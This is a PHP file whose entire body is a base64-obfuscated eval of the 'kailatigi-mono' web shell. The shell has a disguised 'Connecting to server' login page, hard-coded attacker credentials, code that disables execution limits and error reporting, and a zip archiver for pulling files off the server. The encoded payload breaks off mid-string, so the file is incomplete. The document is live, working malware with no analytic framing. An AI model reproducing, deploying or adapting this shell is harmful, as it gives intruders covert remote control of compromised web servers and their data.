<?php
eval (base64_decode('IyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMKIyAgICAgICAgICAgICAgICAgICAgICAgIGthaWxhdGlnaS1tb25vICAgICAgICAgICAgICAgICAgICAgICAgIwojIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIwokdGFjZmdkWyd1bmFtZSddID0gJ21vbm9oYWNrZXInOwokdGFjZmdkWydwd29yZCddID0gJ2thaWxhdGlnaS1tb25vMDA3JzsKJHRhY2ZnZFsndGl0bGUnXSA9ICdDb25uZWN0aW5nIHRvIHNlcnZlci4uLi4uLi4uLi4uJzsKJHRhY2ZnZFsnaGVscHRleHQnXSA9ICdUbyBwcm9jZWVkLCBwbGVhc2UgbG9nIGluIHVzaW5nIHRoZSBmb3JtIGJlbG93JzsKJHRhY2ZnZFsnYWxsb3dybSddID0gdHJ1ZTsKJHRhY2ZnZFsncm1ncm91cCddID0gJ2RlZmF1bHQnOwokdGFjZmdkWydvd25zZXNzaW9ucyddID0gZmFsc2U7CmZvcmVhY2ggKCR0YWNmZ2QgYXMgJGtleSA9PiAkdmFsKSB7CiAgaWYgKCFpc3NldCgkdGFjZmdbJGtleV0pKSAkdGFjZmdbJGtleV0gPSAkdmFsOwp9CgppZiAoISR0YWNmZ1snb3duc2Vzc2lvbnMnXSkgewogIHNlc3Npb25fbmFtZSgndHh0YXV0aCcpOwogIHNlc3Npb25fc3RhcnQoKTsKfQoKLy8gTG9nb3V0IGF0dGVtcHQgbWFkZS4gRGVsZXRlcyBhbnkgcmVtZW1iZXItbWUgY29va2llIGFzIHdlbGwKaWYgKGlzc2V0KCRfR0VUWydsb2dvdXQnXSkgfHwgaXNzZXQoJF9QT1NUWydsb2dvdXQnXSkpIHsKICBzZXRjb29raWUoJ3R4dGF1dGhfJy4kcm1ncm91cCwgJycsIHRpbWUoKS04NjQwMCoxNCk7CiAgaWYgKCEkdGFjZmdbJ293bnNlc3Npb25zJ10pIHsKICAgICRfU0VTU0lPTiA9IGFycmF5KCk7CiAgICBzZXNzaW9uX2Rlc3Ryb3koKTsKICB9CiAgZWxzZSAkX1NFU1NJT05bJ3R4dGF1dGhpbiddID0gZmFsc2U7Cn0KLy8gTG9naW4gYXR0ZW1wdCBtYWRlCmVsc2VpZiAoaXNzZXQoJF9QT1NUWydsb2dpbiddKSkgewogIGlmICgkX1BPU1RbJ3VuYW1lJ10gPT0gJHRhY2ZnWyd1bmFtZSddICYmICRfUE9TVFsncHdvcmQnXSA9PSAkdGFjZmdbJ3B3b3JkJ10pIHsKICAgICRfU0VTU0lPTlsndHh0YXV0aGluJ10gPSB0cnVlOwogICAgaWYgKCRfUE9TVFsncm0nXSkgewogICAgICAvLyBTZXQgcmVtZW1iZXItbWUgY29va2llIGZvciAyIHdlZWtzCiAgICAgIHNldGNvb2tpZSgndHh0YXV0aF8nLiRybWdyb3VwLCBtZDUoJHRhY2ZnWyd1bmFtZSddLiR0YWNmZ1sncHdvcmQnXSksIHRpbWUoKSs4NjQwMCoxNCk7CiAgICB9CiAgfQogIGVsc2UgJGVyciA9ICdJbnZhbGlkIFVzZXJuYW1lIG9yIHBhc3N3b3JkJzsKfQovLyBSZW1lbWJlci1tZSBjb29raWUgZXhpc3RzCmVsc2VpZiAoaXNzZXQoJF9DT09LSUVbJ3R4dGF1dGhfJy4kcm1ncm91cF0pKSB7CiAgaWYgKG1kNSgkdGFjZmdbJ3VuYW1lJ10uJHRhY2ZnWydwd29yZCddKSA9PSAkX0NPT0tJRVsndHh0YXV0aF8nLiRybWdyb3VwXSAmJiAkdGFjZmdbJ2FsbG93cm0nXSkgewogICAgJF9TRVNTSU9OWyd0eHRhdXRoaW4nXSA9IHRydWU7CiAgfQogIGVsc2UgJGVyciA9ICdSZWNvcmQgbG9naW4gYWdhaW4nOwp9CmlmICghJF9TRVNTSU9OWyd0eHRhdXRoaW4nXSkgewo/Pgo8aHRtbD4KPG1ldGEgaHR0cC1lcXVpdj0iQ29udGVudC1UeXBlIiBjb250ZW50PSJ0ZXh0L2h0bWw7IGNoYXJzZXQ9d2luZG93cy0xMjU2Ij4KPGhlYWQ+Cjx0aXRsZT48Pz0kdGFjZmdbJ3RpdGxlJ10/PjwvdGl0bGU+CjxTVFlMRT4KCkJPRFkKIHsKICAgICAgICBTQ1JPTExCQVItRkFDRS1DT0xPUjogIzAwMDAwMDsgU0NST0xMQkFSLUhJR0hMSUdIVC1DT0xPUjogIzAwMDAwMDsgU0NST0xMQkFSLVNIQURPVy1DT0xPUjogIzAwMDAwMDsgQ09MT1I6ICNmZmZmZmY7IFNDUk9MTEJBUi0zRExJR0hULUNPTE9SOiAjNzI2NDU2OyBTQ1JPTExCQVItQVJST1ctQ09MT1I6ICM3MjY0NTY7IFNDUk9MTEJBUi1UUkFDSy1DT0xPUjogIzI5MjkyOTsgRk9OVC1GQU1JTFk6IFZlcmRhbmE7IFNDUk9MTEJBUi1EQVJLU0hBRE9XLUNPTE9SOiAjNzI2NDU2Cn0KCnRkIHsKQk9SREVSLVJJR0hUOiAgIzAwMDAwMCAxIHNvbGlkOwpCT1JERVItVE9QOiAgICAjMDAwMDAwIDEgc29saWQ7CkJPUkRFUi1MRUZUOiAgICMwMDAwMDAgMSBzb2xpZDsKQk9SREVSLUJPVFRPTTogIzAwMDAwMCAxIHNvbGlkOwpjb2xvcjogI2NjY2NjYzsKfQouZ3JleSB7CkJPUkRFUjogMTsKQkFDS0dST1VORC1DT0xPUjogIzAwMDAwMDsKY29sb3I6ICMzMzMzMzM7Cn0KaW5wdXQgewpCT1JERVItUklHSFQ6ICAjOTkwMDAwIDEgc29saWQ7CkJPUkRFUi1UT1A6ICAgICM5OTAwMDAgMSBzb2xpZDsKQk9SREVSLUxFRlQ6ICAgIzk5MDAwMCAxIHNvbGlkOwpCT1JERVItQk9UVE9NOiAjOTkwMDAwIDEgc29saWQ7CkJBQ0tHUk9VTkQtQ09MT1I6ICMzMzMzMzM7CmZvbnQ6IDlwdCB0YWhvbWE7CmNvbG9yOiAjZmZmZmZmOwp9Ci50eHRib3ggewpCT1JERVItUklHSFQ6ICAjOTkwMDAwIDEgc29saWQ7CkJPUkRFUi1UT1A6ICAgICM5OTAwMDAgMSBzb2xpZDsKQk9SREVSLUxFRlQ6ICAgIzk5MDAwMCAxIHNvbGlkOwpCT1JERVItQk9UVE9NOiAjOTkwMDAwIDEgc29saWQ7CkJBQ0tHUk9VTkQtQ09MT1I6ICMzMzMzMzM7CmZvbnQ6IEZpeGVkc3lzIGJvbGQ7CmNvbG9yOiAjOTkwMDAwOwp9CkJPRFkgewpjb2xvcjogI2NjY2NjYzsKYmFja2dyb3VuZC1jb2xvcjogIzAwMDAwMDsKfQoKPC9TVFlMRT4KPC9oZWFkPgoKPGJvZHk+CjxkaXYgc3R5bGU9ImZvbnQtc2l6ZTogMTRwdDsiIGFsaWduPSJjZW50ZXIiPjw/PSR0YWNmZ1sndGl0bGUnXT8+PC9kaXY+CjxociB3aWR0aD0iMzAwIiBzaXplPSIxIiBub3NoYWRlIGNvbG9yPSIjY2RjZGNkIj4KPHA+CjwvZGl2Pgo8cD4KPD8KaWYgKGlzc2V0KCRfU0VSVkVSWydSRVFVRVNUX1VSSSddKSkgJGFjdGlvbiA9ICRfU0VSVkVSWydSRVFVRVNUX1VSSSddOwplbHNlICRhY3Rpb24gPSAkX1NFUlZFUlsnUEhQX1NFTEYnXS4nPycuJF9TRVJWRVJbJ1FVRVJZX1NUUklORyddOwppZiAoc3RycG9zKCRhY3Rpb24sICdsb2dvdXQ9MScsIHN0cnBvcygkYWN0aW9uLCAnPycpKSAhPT0gZmFsc2UpICRhY3Rpb24gPSBzdHJfcmVwbGFjZSgnbG9nb3V0PTEnLCAnJywgJGFjdGlvbik7Cj8+Cjxmb3JtIG5hbWU9InR4dGF1dGgiIGFjdGlvbj0iPD89JGFjdGlvbj8+IiBtZXRob2Q9InBvc3QiPgo8dGFibGUgYm9yZGVyPSIwIiBjZWxscGFkZGluZz0iNCIgY2VsbHNwYWNpbmc9IjAiIGJnY29sb3I9IiMzMzMzMzMiIGFsaWduPSJjZW50ZXIiIHN0eWxlPSJib3JkZXI6ICNkZWRlZGUgMXB4IGRvdWJsZTsiPgo8Pz0oaXNzZXQoJGVycikpPyc8dHI+PHRkIGNvbHNwYW49IjIiIGFsaWduPSJjZW50ZXIiPjxmb250IGNvbG9yPSJyZWQiPicuJGVyci4nPC9mb250PjwvdGQ+PC90cj4nOicnPz4KPD9pZiAoaXNzZXQoJHRhY2ZnWyd1bmFtZSddKSkgez8+Cjx0cj48dGQ+VXNlcm5hbWU6IGhhY2tlcjwvdGQ+PHRkPjxpbnB1dCB0eXBlPSJ0ZXh0IiBuYW1lPSJ1bmFtZSIgdmFsdWU9IiIgc2l6ZT0iMjAiIG1heGxlbmd0aD0iMTAwIiBjbGFzcz0idHh0Ym94Ij48L3RkPjwvdHI+Cjw/fT8+Cjx0cj48dGQ+UGFzc3dvcmQ6IHZiZmdyMHVwPC90ZD48dGQ+PGlucHV0IHR5cGU9InBhc3N3b3JkIiBuYW1lPSJwd29yZCIgdmFsdWU9IiIgc2l6ZT0iMjAiIG1heGxlbmd0aD0iMTAwIiBjbGFzcz0idHh0Ym94Ij48L3RkPjwvdHI+Cjw/aWYgKCR0YWNmZ1snYWxsb3dybSddKSB7Pz4KPHRyPjx0ZCBhbGlnbj0ibGVmdCI+PGlucHV0IHR5cGU9InN1Ym1pdCIgbmFtZT0ibG9naW4iIHZhbHVlPSIgCQpsb2dpbiI+CjwvdGQ+PHRkIGFsaWduPSJyaWdodCI+PGlucHV0IHR5cGU9ImNoZWNrYm94IiBuYW1lPSJybSIgaWQ9InJtIj48bGFiZWwgZm9yPSJybSI+QXV0b21hdGljIGxvZ2luPC9sYWJlbD48L3RkPjwvdHI+Cjw/fSBlbHNlIHs/Pgo8dHI+PHRkIGNvbHNwYW49IjIiIGFsaWduPSJjZW50ZXIiPjxpbnB1dCB0eXBlPSJzdWJtaXQiIG5hbWU9ImxvZ2luIiB2YWx1ZT0iIGxvZ2luICI+PC90ZD48L3RyPgo8P30/Pgo8dHI+PHRkPlRoZSBuYW1lIG9mIHRoZSBzaXRlOjwvdGQ+PHRkPjw/IGVjaG8gd3MoMykuIjxiPiAiLiRfU0VSVkVSWyJIVFRQX0hPU1QiXS4iPC9iPjxici8+IjsKZWNobyAiPC9iPjwvZm9udD4iOwoKPz48L3RkPjwvdHI+Cjx0cj48dGQ+SVAgc2VydmVyOjwvdGQ+PHRkPjw/IGVjaG8gd3MoMykuIjxiPiAiLmdldGhvc3RieW5hbWUoJF9TRVJWRVJbIkhUVFBfSE9TVCJdKS4iPC9iPjxici8+IjsKZWNobyAiPC9iPjwvZm9udD4iOwoKPz48L3RkPjwvdHI+Cjx0cj48dGQ+SVAgeW91ciBjb21wdXRlcjo8L3RkPjx0ZD48PyBlY2hvIHdzKDMpLiI8Yj4gIi4kX1NFUlZFUlsiUkVNT1RFX0FERFIiXS4iPC9iPjxici8+IjsKZWNobyAiPC9iPjwvZm9udD4iOwoKPz48L3RkPjwvdHI+Cgo8L3RhYmxlPgo8L2Zvcm0+Cgo8YnI+PGJyPjxicj4KPGhyIHdpZHRoPSIzMDAiIHNpemU9IjEiIG5vc2hhZGUgY29sb3I9IiNjZGNkY2QiPjxkaXYgY2xhc3M9InNtYWxsdHh0IiBhbGlnbj0iY2VudGVyIj5EZXZlbG9wZWQgYnkgPGEgaHJlZj0iaHR0cDovL3ZuYnJhaW4ubmV0Ij5rYWlsYXRpZ2ktbW9ubzwvYT4gJm1pZGRvdDsgY29weXJpZ2h0ICZjb3B5OyAyMDA3LCBJcmFuPC9kaXY+Cgo8L2JvZHk+CjwvaHRtbD4KPD8KICAvLyBEb24ndCBkZWxldGUgdGhpcyEKICBleGl0KCk7Cn0KPz4KYWNjb3VudDogKDxmb250IGNvbG9yPSIjRkYwMDAwIj48PyBlY2hvICR0YWNmZ2RbJ3VuYW1lJ107ID8+PC9mb250PikgPGEgaHJlZj0iP2xvZ291dD0xIj5sb2dvdXQ8L2E+PC9wPgo8ZGl2IGFsaWduPSJyaWdodCI+Cjw/cGhwCi8qKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKiovCi8qfn5+fn5+fn5+fn5+fn5+fn5+fn5+fn5+fn5+fn5+fn5+fn5+fn5+fn5+fn5+fn5+fn5+fn5+fn5+fn5+fn5+fn5+fn5+fn5+fn5+fn5+fn5+fn5+fn5+fn5+fn5+fn5+fn5+fiovCi8qICAoYylvZGVkIGJ5IFNuSXBFcl9TQSxEZXZlbG9wZWQgYnkga2FpbGF0aWdpLW1vbm8KLyogIE1BSUwgaHR0cDovL3ZuYnJhaW4ubmV0ICwgaHR0cDovL3ZuaGFjay5uZXQKLyoqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKi8KLyogfn5+ICB8IE9wdGlvbnMgIH5+fiAqLwovLyB+fn5+fCBMYW5ndWFnZQovLyAkbGFuZ3VhZ2U9J2VuZycgLSBlbmdsaXNoIChlbmdsaXNoKQovLyAkbGFuZ3VhZ2U9J2FyJyAtIGFyYWJpIChhcmFiaSkKJGxhbmd1YWdlPSdlbmcnOwovLyB+fn5+fn5+IHwgQXV0aGVudGlmaWNhdGlvbgovLyAkYXV0aCA9IDE7IC1CYXQgY2hlIGRvIGRhbmcgbmhhcCBzaGVsbCAgKCBhdXRoZW50aWZpY2F0aW9uID0gT24gICkKLy8gJGF1dGggPSAwOyAtIHRhdCBjaGUgZG8gZGFuZyBuaGFwIHNoZWxsICggYXV0aGVudGlmaWNhdGlvbiA9IE9mZiApCiRhdXRoID0gMDsKLy8gKExvZ2luICYgUGFzc3dvcmQgZm9yIGFjY2VzcykKLy8oQ0hBTkdFIFRISVMhISEpCi8vICAgJ2thaWxhdGlnaS1tb25vJwovLyBtYSBob2EgdXNlciB2YSBwYXNzICBiYW5nIHRodWF0IHRvYW4gbWQ1IAokbmFtZT0nMDk2M2IzMmM2NjJiZGU2NGFiYWJiMGJlZTc4MjVmYzMnOyAvLyh1c2VyIGxvZ2luKQokcGFzcz0nMDk2M2IzMmM2NjJiZGU2NGFiYWJiMGJlZTc4MjVmYzMnOyAvLyAodXNlciBwYXNzd29yZCkKLyoqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKi8KCmVjaG8gIiIuaHRtbHNwZWNpYWxjaGFycygkY29weSkuIiI7CmVycm9yX3JlcG9ydGluZygwKTsKc2V0X21hZ2ljX3F1b3Rlc19ydW50aW1lKDApOwpAc2V0X3RpbWVfbGltaXQoMCk7CkBpbmlfc2V0KCdtYXhfZXhlY3V0aW9uX3RpbWUnLDApOwpAaW5pX3NldCgnb3V0cHV0X2J1ZmZlcmluZycsMCk7CiRzYWZlX21vZGUgPSBAaW5pX2dldCgnc2FmZV9tb2RlJyk7CiR2ZXJzaW9uID0gJzEuMzEnOwppZih2ZXJzaW9uX2NvbXBhcmUocGhwdmVyc2lvbigpLCAnNC4xLjAnKSA9PSAtMSkKIHsKICRfUE9TVCAgID0gJiRIVFRQX1BPU1RfVkFSUzsKICRfR0VUICAgID0gJiRIVFRQX0dFVF9WQVJTOwogJF9TRVJWRVIgPSAmJEhUVFBfU0VSVkVSX1ZBUlM7CiAkX0NPT0tJRSA9ICYkSFRUUF9DT09LSUVfVkFSUzsKIH0KaWYgKEBnZXRfbWFnaWNfcXVvdGVzX2dwYygpKQogewogZm9yZWFjaCAoJF9QT1NUIGFzICRrPT4kdikKICB7CiAgJF9QT1NUWyRrXSA9IHN0cmlwc2xhc2hlcygkdik7CiAgfQogZm9yZWFjaCAoJF9DT09LSUUgYXMgJGs9PiR2KQogIHsKICAkX0NPT0tJRVska10gPSBzdHJpcHNsYXNoZXMoJHYpOwogIH0KIH0KCmlmKCRhdXRoID09IDEpIHsKaWYgKCFpc3NldCgkX1NFUlZFUlsnUEhQX0FVVEhfVVNFUiddKSB8fCBtZDUoJF9TRVJWRVJbJ1BIUF9BVVRIX1VTRVInXSkhPT0kbmFtZSB8fCBtZDUoJF9TRVJWRVJbJ1BIUF9BVVRIX1BXJ10pIT09JHBhc3MpCiAgIHsKICAgaGVhZGVyKCdXV1ctQXV0aGVudGljYXRlOiBCYXNpYyByZWFsbT0ia2FpbGF0aWdpLW1vbm8gc2hlbGwiJyk7CiAgIGhlYWRlcignSFRUUC8xLjAgNDAxIFVuYXV0aG9yaXplZCcpOwogICBleGl0KCI8Yj48YSBocmVmPWh0dHA6Ly92bmJyYWluLm5ldD5rYWlsYXRpZ2ktbW9ubzwvYT4gOiBBY2Nlc3MgRGVuaWVkPC9iPiIpOwogICB9Cn0KJGhlYWQgPSAnPCEtLSAga2FpbGF0aWdpLW1vbm8gIC0tPgo8aHRtbD4KPGhlYWQ+CjxtZXRhIGh0dHAtZXF1aXY9IkNvbnRlbnQtTGFuZ3VhZ2UiIGNvbnRlbnQ9ImFyLXNhIj4KPG1ldGEgbmFtZT0iR0VORVJBVE9SIiBjb250ZW50PSJNaWNyb3NvZnQgRnJvbnRQYWdlIDYuMCI+CjxtZXRhIG5hbWU9IlByb2dJZCIgY29udGVudD0iRnJvbnRQYWdlLkVkaXRvci5Eb2N1bWVudCI+CjxtZXRhIGh0dHAtZXF1aXY9IkNvbnRlbnQtVHlwZSIgY29udGVudD0idGV4dC9odG1sOyBjaGFyc2V0PXdpbmRvd3MtMTI1NiI+Cjx0aXRsZT5rYWlsYXRpZ2ktbW9ubyBzaGVsbDwvdGl0bGU+CgoKCjxTVFlMRT4KCkJPRFkKIHsKICAgICAgICBTQ1JPTExCQVItRkFDRS1DT0xPUjogIzAwMDAwMDsgU0NST0xMQkFSLUhJR0hMSUdIVC1DT0xPUjogIzAwMDAwMDsgU0NST0xMQkFSLVNIQURPVy1DT0xPUjogIzAwMDAwMDsgQ09MT1I6ICNmZmZmZmY7IFNDUk9MTEJBUi0zRExJR0hULUNPTE9SOiAjNzI2NDU2OyBTQ1JPTExCQVItQVJST1ctQ09MT1I6ICM3MjY0NTY7IFNDUk9MTEJBUi1UUkFDSy1DT0xPUjogIzI5MjkyOTsgRk9OVC1GQU1JTFk6IFZlcmRhbmE7IFNDUk9MTEJBUi1EQVJLU0hBRE9XLUNPTE9SOiAjNzI2NDU2Cn0KCnRyIHsKQk9SREVSLVJJR0hUOiAgI2NjY2NjYyA7CkJPUkRFUi1UT1A6ICAgICNjY2NjY2MgOwpCT1JERVItTEVGVDogICAjY2NjY2NjIDsKQk9SREVSLUJPVFRPTTogI2NjY2NjYyA7CmNvbG9yOiAjZmZmZmZmOwp9CnRkIHsKQk9SREVSLVJJR0hUOiAgI2NjY2NjYyA7CkJPUkRFUi1UT1A6ICAgICNjY2NjY2MgOwpCT1JERVItTEVGVDogICAjY2NjY2NjIDsKQk9SREVSLUJPVFRPTTogI2NjY2NjYyA7CmNvbG9yOiAjY2NjY2NjOwp9Ci50YWJsZTEgewpCT1JERVI6IDE7CkJBQ0tHUk9VTkQtQ09MT1I6ICMwMDAwMDA7CmNvbG9yOiAjMzMzMzMzOwp9Ci50ZDEgewpCT1JERVI6IDE7CmZvbnQ6IDdwdCB0YWhvbWE7CmNvbG9yOiAjZmZmZmZmOwp9Ci50cjEgewpCT1JERVI6IDE7CmNvbG9yOiAjY2NjY2NjOwp9CnRhYmxlIHsKQk9SREVSOiAgI2VlZWVlZSAgb3V0c2V0OwpCQUNLR1JPVU5ELUNPTE9SOiAjMDAwMDAwOwpjb2xvcjogI2NjY2NjYzsKfQppbnB1dCB7CkJPUkRFUi1SSUdIVDogICM5OTAwMDAgMSBzb2xpZDsKQk9SREVSLVRPUDogICAgIzk5MDAwMCAxIHNvbGlkOwpCT1JERVItTEVGVDogICAjOTkwMDAwIDEgc29saWQ7CkJPUkRFUi1CT1RUT006ICM5OTAwMDAgMSBzb2xpZDsKQkFDS0dST1VORC1DT0xPUjogIzMzMzMzMzsKZm9udDogOXB0IHRhaG9tYTsKY29sb3I6ICNmZmZmZmY7Cn0Kc2VsZWN0IHsKQk9SREVSLVJJR0hUOiAgI2ZmZmZmZiAxIHNvbGlkOwpCT1JERVItVE9QOiAgICAjOTk5OTk5IDEgc29saWQ7CkJPUkRFUi1MRUZUOiAgICM5OTk5OTkgMSBzb2xpZDsKQk9SREVSLUJPVFRPTTogI2ZmZmZmZiAxIHNvbGlkOwpCQUNLR1JPVU5ELUNPTE9SOiAjMDAwMDAwOwpmb250OiA5cHQgdGFob21hOwpjb2xvcjogI0NDQ0NDQzs7Cn0Kc3VibWl0IHsKQk9SREVSOiAgYnV0dG9uaGlnaGxpZ2h0IDEgb3V0c2V0OwpCQUNLR1JPVU5ELUNPTE9SOiAjMjcyNzI3Owp3aWR0aDogNDAlOwpjb2xvcjogI2NjY2NjYzsKfQp0ZXh0YXJlYSB7CkJPUkRFUi1SSUdIVDogICNmZmZmZmYgMSBzb2xpZDsKQk9SREVSLVRPUDogICAgIzk5OTk5OSAxIHNvbGlkOwpCT1JERVItTEVGVDogICAjOTk5OTk5IDEgc29saWQ7CkJPUkRFUi1CT1RUT006ICNmZmZmZmYgMSBzb2xpZDsKQkFDS0dST1VORC1DT0xPUjogIzMzMzMzMzsKZm9udDogRml4ZWRzeXMgYm9sZDsKY29sb3I6ICNmZmZmZmY7Cn0KQk9EWSB7Cm1hcmdpbjogMTsKY29sb3I6ICNjY2NjY2M7CmJhY2tncm91bmQtY29sb3I6ICMwMDAwMDA7Cn0KQTpsaW5rIHtDT0xPUjpyZWQ7IFRFWFQtREVDT1JBVElPTjogbm9uZX0KQTp2aXNpdGVkIHsgQ09MT1I6cmVkOyBURVhULURFQ09SQVRJT046IG5vbmV9CkE6YWN0aXZlIHtDT0xPUjpyZWQ7IFRFWFQtREVDT1JBVElPTjogbm9uZX0KQTpob3ZlciB7Y29sb3I6Ymx1ZTtURVhULURFQ09SQVRJT046IG5vbmV9Cgo8L1NUWUxFPgo8c2NyaXB0IGxhbmd1YWdlPVwnamF2YXNjcmlwdFwnPgpmdW5jdGlvbiBoaWRlX2RpdihpZCkKewogIGRvY3VtZW50LmdldEVsZW1lbnRCeUlkKGlkKS5zdHlsZS5kaXNwbGF5ID0gXCdub25lXCc7CiAgZG9jdW1lbnQuY29va2llPWlkK1wnPTA7XCc7Cn0KZnVuY3Rpb24gc2hvd19kaXYoaWQpCnsKICBkb2N1bWVudC5nZXRFbGVtZW50QnlJZChpZCkuc3R5bGUuZGlzcGxheSA9IFwnYmxvY2tcJzsKICBkb2N1bWVudC5jb29raWU9aWQrXCc9MTtcJzsKfQpmdW5jdGlvbiBjaGFuZ2VfZGl2c3QoaWQpCnsKICBpZiAoZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoaWQpLnN0eWxlLmRpc3BsYXkgPT0gXCdub25lXCcpCiAgICBzaG93X2RpdihpZCk7CiAgZWxzZQogICAgaGlkZV9kaXYoaWQpOwp9Cjwvc2NyaXB0Pic7CmNsYXNzIHppcGZpbGUKewogICAgdmFyICRkYXRhc2VjICAgICAgPSBhcnJheSgpOwogICAgdmFyICRjdHJsX2RpciAgICAgPSBhcnJheSgpOwogICAgdmFyICRlb2ZfY3RybF9kaXIgPSAiXHg1MFx4NGJceDA1XHgwNlx4MDBceDAwXHgwMFx4MDAiOwogICAgdmFyICRvbGRfb2Zmc2V0ICAgPSAwOwogICAgZnVuY3Rpb24gdW5peDJEb3NUaW1lKCR1bml4dGltZSA9IDApIHsKICAgICAgICAkdGltZWFycmF5ID0gKCR1bml4dGltZSA9PSAwKSA/IGdldGRhdGUoKSA6IGdldGRhdGUoJHVuaXh0aW1lKTsKICAgICAgICBpZiAoJHRpbWVhcnJheVsneWVhciddIDwgMTk4MCkgewogICAgICAgICAgICAkdGltZWFycmF5Wyd5ZWFyJ10gICAgPSAxOTgwOwogICAgICAgICAgICAkdGltZWFycmF5Wydtb24nXSAgICAgPSAxOwogICAgICAgICAgICAkdGltZWFycmF5WydtZGF5J10gICAgPSAxOwogICAgICAgICAgICAkdGltZWFycmF5Wydob3VycyddICAgPSAwOwogICAgICAgICAgICAkdGltZWFycmF5WydtaW51dGVzJ10gPSAwOwogICAgICAgICAgICAkdGltZWFycmF5WydzZWNvbmRzJ10gPSAwOwogICAgICAgIH0KICAgICAgICByZXR1cm4gKCgkdGltZWFycmF5Wyd5ZWFyJ10gLSAxOTgwKSA8PCAyNSkgfCAoJHRpbWVhcnJheVsnbW9uJ10gPDwgMjEpIHwgKCR0aW1lYXJyYXlbJ21kYXknXSA8PCAxNikgfAogICAgICAgICAgICAgICAgKCR0aW1lYXJyYXlbJ2hvdXJzJ10gPDwgMTEpIHwgKCR0aW1lYXJyYXlbJ21pbnV0ZXMnXSA8PCA1KSB8ICgkdGltZWFycmF5WydzZWNvbmRzJ10gPj4gMSk7CiAgICB9CiAgICBmdW5jdGlvbiBhZGRGaWxlKCRkYXRhLCAkbmFtZSwgJHRpbWUgPSAwKQogICAgewogICAgICAgICRuYW1lICAgICA9IHN0cl9yZXBsYWNlKCdcXCcsICcvJywgJG5hbWUpOwogICAgICAgICRkdGltZSAgICA9IGRlY2hleCgkdGhpcy0+dW5peDJEb3NUaW1lKCR0aW1lKSk7CiAgICAgICAgJGhleGR0aW1lID0gJ1x4JyAuICRkdGltZVs2XSAuICRkdGltZVs3XQogICAgICAgICAgICAgICAgICAuICdceCcgLiAkZHRpbWVbNF0gLiAkZHRpbWVbNV0KICAgICAgICAgICAgICAgICAgLiAnXHgnIC4gJGR0aW1lWzJdIC4gJGR0aW1lWzNdCiAgICAgICAgICAgICAgICAgIC4gJ1x4JyAuICRkdGltZVswXSAuICRkdGltZVsxXTsKICAgICAgICBldmFsKCckaGV4ZHRpbWUgPSAiJyAuICRoZXhkdGltZSAuICciOycpOwogICAgICAgICRmciAgID0gIlx4NTBceDRiXHgwM1x4MDQiOwogICAgICAgICRmciAgIC49ICJceDE0XHgwMCI7CiAgICAgICAgJGZyICAgLj0gIlx4MDBceDAwIjsKICAgICAgICAkZnIgICAuPSAiXHgwOFx4MDAiOwogICAgICAgICRmciAgIC49ICRoZXhkdGltZTsKICAgICAgICAkdW5jX2xlbiA9IHN0cmxlbigkZGF0YSk7CiAgICAgICAgJGNyYyAgICAgPSBjcmMzMigkZGF0YSk7CiAgICAgICAgJHpkYXRhICAgPSBnemNvbXByZXNzKCRkYXRhKTsKICAgICAgICAkemRhdGEgICA9IHN1YnN0cihzdWJzdHIoJHpkYXRhLCAwLCBzdHJsZW4oJHpkYXRhKSAtIDQpLCAyKTsKICAgICAgICAkY19sZW4gICA9IHN0cmxlbigkemRhdGEpOwogICAgICAgICRmciAgICAgIC49IHBhY2soJ1YnLCAkY3JjKTsKICAgICAgICAkZnIgICAgICAuPSBwYWNrKCdWJywgJGNfbGVuKTsKICAgICAgICAkZnIgICAgICAuPSBwYWNrKCdWJywgJHVuY19sZW4pOwogICAgICAgICRmciAgICAgIC49IHBhY2soJ3YnLCBzdHJsZW4oJG5hbWUpKTsKICAgICAgICAkZnIgICAgICAuPSBwYWNrKCd2JywgMCk7CiAgICAgICAgJGZyICAgICAgLj0gJG5hbWU7CiAgICAgICAgJGZyIC49ICR6ZGF0YTsKICAgICAgICAkdGhpcyAtPiBkYXRhc2VjW10gPSAkZnI7CiAgICAgICAgJGNkcmVjID0gIlx4NTBceDRiXHgwMVx4MDIiOwogICAgICAgICRjZHJlYyAuPSAiXHgwMFx4MDAiOwogICAgICAgICRjZHJlYyAuPSAiXHgxNFx4MDAiOwogICAgICAgICRjZHJlYyAuPSAiXHgwMFx4MDAiOwogICAgICAgICRjZHJlYyAuPSAiXHgwOFx4MDAiOwogICAgICAgICRjZHJlYyAuPSAkaGV4ZHRpbWU7CiAgICAgICAgJGNkcmVjIC49IHBhY2soJ1YnLCAkY3JjKTsKICAgICAgICAkY2RyZWMgLj0gcGFjaygnVicsICRjX2xlbik7CiAgICAgICAgJGNkcmVjIC49IHBhY2soJ1YnLCAkdW5jX2xlbik7CiAgICAgICAgJGNkcmVjIC49IHBhY2soJ3YnLCBzdHJsZW4oJG5hbWUpICk7CiAgICAgICAgJGNkcmVjIC49IHBhY2soJ3YnLCAwICk7CiAgICAgICAgJGNkcmVjIC49IHBhY2soJ3YnLCAwICk7CiAgICAgICAgJGNkcmVjIC49IHBhY2soJ3YnLCAwICk7CiAgICAgICAgJGNkcmVjIC49IHBhY2soJ3YnLCAwICk7CiAgICAgICAgJGNkcmVjIC49IHBhY2soJ1YnLCAzMiApOwogICAgICAgICRjZHJlYyAuPSBwYWNrKCdWJywgJHRoaXMgLT4gb2xkX29mZnNldCApOwogICAgICAgICR0aGlzIC0+IG9sZF9vZmZzZXQgKz0gc3RybGVuKCRmcik7CiAgICAgICAgJGNkcmVjIC49ICRuYW1lOwogICAgICAgICR0aGlzIC0+IGN0cmxfZGlyW10gPSAkY2RyZWM7CiAgICB9CiAgICBmdW5jdGlvbiBmaWxlKCkKICAgIHsKICAgICAgICAkZGF0YSAgICA9IGltcGxvZGUoJycsICR0aGlzIC0+IGRhdGFzZWMpOwogICAgICAgICRjdHJsZGlyID0gaW1wbG9k